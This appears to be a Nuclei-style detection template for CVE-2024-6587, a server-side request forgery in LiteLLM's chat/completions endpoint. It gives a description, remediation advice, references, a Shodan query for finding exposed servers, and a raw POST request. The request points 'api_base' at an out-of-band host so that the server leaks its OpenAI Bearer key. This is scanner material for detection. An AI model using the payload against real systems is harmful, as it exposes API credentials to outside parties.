id: CVE-2024-6587 info: name: LiteLLM - Server-Side Request Forgery author: pdresearch,iamnoooob,rootxharsh,lambdasawa severity: high description: | LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys. impact: | Attackers can exploit SSRF to send requests to arbitrary URLs with OpenAI API keys in the Authorization header, potentially exposing API credentials. remediation: | Update LiteLLM to the latest version that addresses the SSRF vulnerability in the chat/completions endpoint. reference: - https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6587 classification: epss-score: 0.37197 epss-percentile: 0.98362 metadata: verified: true max-request: 1 shodan-query: http.favicon.hash:439373620 tags: cve,cve2024,ssrf,openai,litellm,vkev,vuln,ai http: - raw: - | POST /chat/completions HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "model": "command-nightly", "messages": [ { "content": "Hello, how are you?", "role": "user" } ], "api_base": "https://{{interactsh-url}}" } matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: word part: interactsh_request words: - "Bearer" # digest: 4a0a0047304502201e2083e1050c038935fd159146bef3af722fbf8e9149618ddd655c9eb04086ba022100cbf9d790ec73013ac2b2eea29f70cfda3a1d3482b1b368208f83ff0efbd3d139:922c64590222798bb761d5b6d8e72950